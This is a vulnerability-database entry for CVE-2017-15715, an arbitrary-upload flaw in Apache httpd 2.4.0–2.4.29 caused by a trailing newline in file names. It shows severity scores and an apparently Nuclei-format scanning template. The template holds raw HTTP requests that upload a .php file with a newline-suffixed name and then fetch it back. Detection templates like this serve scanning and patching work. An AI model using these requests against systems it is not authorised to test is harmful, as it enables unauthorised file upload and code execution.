8.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
9 High
AI Score
Confidence
High
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.962 High
EPSS
Percentile
99.5%
Apache httpd 2.4.0 to 2.4.29 is susceptible to arbitrary file upload vulnerabilities via the expression specified in <FilesMatch>, which could match β$β to a newline character in a malicious filename rather than matching only the end of the filename. This could be exploited in environments where uploads of some files are externally blocked, but only by matching the trailing portion of the filename.
id: CVE-2017-15715
info:
name: Apache httpd <=2.4.29 - Arbitrary File Upload
author: geeknik
severity: high
description: Apache httpd 2.4.0 to 2.4.29 is susceptible to arbitrary file upload vulnerabilities via the expression specified in <FilesMatch>, which could match '$' to a newline character in a malicious filename rather than matching only the end of the filename. This could be exploited in environments where uploads of some files are externally blocked, but only by matching the trailing portion of the filename.
impact: |
An attacker can upload malicious files to the server, leading to remote code execution or unauthorized access.
remediation: |
Upgrade Apache httpd to a version higher than 2.4.29 or apply the necessary patches.
reference:
- https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715
- https://httpd.apache.org/security/vulnerabilities_24.html
- http://www.openwall.com/lists/oss-security/2018/03/24/6
- https://nvd.nist.gov/vuln/detail/CVE-2017-15715
- http://www.securitytracker.com/id/1040570
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2017-15715
cwe-id: CWE-20
epss-score: 0.96163
epss-percentile: 0.99387
cpe: cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: apache
product: http_server
tags: cve,cve2017,apache,httpd,fileupload,vulhub,intrusive
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKc8fBVDo558U4hbJ
------WebKitFormBoundaryKc8fBVDo558U4hbJ
Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
{{randstr_1}}
------WebKitFormBoundaryKc8fBVDo558U4hbJ
Content-Disposition: form-data; name="name"
{{randstr}}.php\x0A
------WebKitFormBoundaryKc8fBVDo558U4hbJ--
- |
GET /{{randstr}}.php\x0A HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip,deflate
Accept: */*
matchers:
- type: dsl
dsl:
- 'contains(body_2, "{{randstr_1}}")'
# digest: 4b0a00483046022100ae5641ddd92e3d444dbbb35c3b15e833ad880957167aa6fad3e696b3f05e57d6022100a1460cf01679d7a517dba54d83abe3fa648044075c4c3c88058ee7687bb5a231:922c64590222798bb761d5b6d8e72950
8.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
9 High
AI Score
Confidence
High
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.962 High
EPSS
Percentile
99.5%